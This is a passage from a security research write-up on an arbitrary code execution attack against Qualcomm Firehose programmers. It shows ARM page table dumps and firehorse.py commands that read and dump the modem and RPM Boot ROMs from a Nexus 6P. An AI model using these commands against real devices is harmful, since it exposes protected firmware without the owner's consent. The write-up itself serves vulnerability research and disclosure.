fe800000       PT domain=0x0L, coarse_base=0xfe804800L, p=0x0L, sbz1=0x0L, sbz2=0x0L, ns=0x0L,
fe900000  SECTION nx=0x1L, apx=0x0L, section_base=0xfe900000L, p=0x0L, c=0x0L, zero=0x0L, ng=0x0L, tex=0x0L, ap=0x3L, s=0x0L, b=0x1L, domain=0x0L, ns=0x0L,
fea00000  SECTION nx=0x1L, apx=0x0L, section_base=0xfea00000L, p=0x0L, c=0x0L, zero=0x0L, ng=0x0L, tex=0x0L, ap=0x3L, s=0x0L, b=0x1L, domain=0x0L, ns=0x0L,
feb00000  SECTION nx=0x1L, apx=0x0L, section_base=0xfeb00000L, p=0x0L, c=0x0L, zero=0x0L, ng=0x0L, tex=0x0L, ap=0x3L, s=0x0L, b=0x1L, domain=0x0L, ns=0x0L,
fec00000       PT domain=0x0L, coarse_base=0xfe805000L, p=0x0L, sbz1=0x0L, sbz2=0x0L, ns=0x1L,
fed00000  SECTION nx=0x1L, apx=0x0L, section_base=0xfed00000L, p=0x0L, c=0x0L, zero=0x0L, ng=0x0L, tex=0x0L, ap=0x3L, s=0x0L, b=0x1L, domain=0x0L, ns=0x0L,
[..]

Interestingly, the second level page table of 0xfc000000 is as follows:

Second level (va = fc000000)
---------------------------------------------
fc000000 UNSUPPORTED
fc001000 UNSUPPORTED
fc002000 UNSUPPORTED
fc003000 UNSUPPORTED
[...]
fc00e000 UNSUPPORTED
fc00f000 UNSUPPORTED
fc010000 XSMALLPAGE nx=0x0L, apx=0x1L, b=0x0L, page_base=0xfc010000L, c=0x1L, ng=0x0L, tex=0x4L, ap=0x3L, s=0x0L, desc=0xfc01033aL,
fc011000 XSMALLPAGE nx=0x0L, apx=0x1L, b=0x0L, page_base=0xfc011000L, c=0x1L, ng=0x0L, tex=0x4L, ap=0x3L, s=0x0L, desc=0xfc01133aL,
fc012000 XSMALLPAGE nx=0x0L, apx=0x1L, b=0x0L, page_base=0xfc012000L, c=0x1L, ng=0x0L, tex=0x4L, ap=0x3L, s=0x0L, desc=0xfc01233aL,
fc013000 XSMALLPAGE nx=0x0L, apx=0x1L, b=0x0L, page_base=0xfc013000L, c=0x1L, ng=0x0L, tex=0x4L, ap=0x3L, s=0x0L, desc=0xfc01333aL,
fc014000 XSMALLPAGE nx=0x0L, apx=0x1L, b=0x0L, page_base=0xfc014000L, c=0x1L, ng=0x0L, tex=0x4L, ap=0x3L, s=0x0L, desc=0xfc01433aL,
[...]

There is a noticeable hole from 0xfc000000 to 0xfc010000 (where the PBL begins), which does not exist in the 64-bit counterpart.

By dumping that range using firehorse, we got the following results:

> firehorse.py -t angler fw peek 0xfc000000 4000 fc000000.bin
> sha256 fc000000.bin
0babb8b8de094cd7630765bc2187bc5fb2cee364474e34aca05bdb20a270d302
> strings -n 8 fc000000.bin | sort | uniq
`FaFbFcFdFeFfFgF
H(`0hh`O
QUALCOMM COPYRIGHT 2013 AUTHOR: Qualcomm CoreBSP Boot, USB
./rpm/pbl_error_handler.c
./rpm/pbl_hw_init.c
./rpm/pbl_mc.c
./rpm/pbl_pmic.c
./rpm/pbl_timer.c
> firehorse.py -t angler fw peek 0xfc004000 c000 fc004000.bin
> sha256 fc004000.bin
9c1cc03f9db9ba47218e7178b53fe793fa3753f387c59acec0ab439aaabe5138
> strings -n 8 fc004000.bin | sort | uniq
`ODEM BOOT ROM VERSION: 1.0
./modem/pbl_modem_auth.c
./modem/pbl_modem_loader.c
./modem/pbl_modem_mc.c
./modem/pbl_modem_ram_init.c
./modem/pbl_modem_timer.c
MODEM PBL VERSION
M QUALCOMM COPYRIGHT
R./modem/pbl_modem_mmu.c
./shared/pbl_common.c
modem and RPM PBL themselves!

We certainly have something here! It seems the RPM PBL is in the 0xfc000000-0xfc0040000 range, where the MODEM PBL is in the 0xfc004000-0xfc010000 range.

Upcoming next: A Runtime Debugger

In this part we presented an arbitrary code execution attack against Firehose programmers. We showed that such code, may get executed with the highest possible privileges in ARM processors, and can dump Boot ROMs of various such SoCs. The next part is solely dedicated for our runtime debugger, which we implemented on top of the building blocks presented in this part.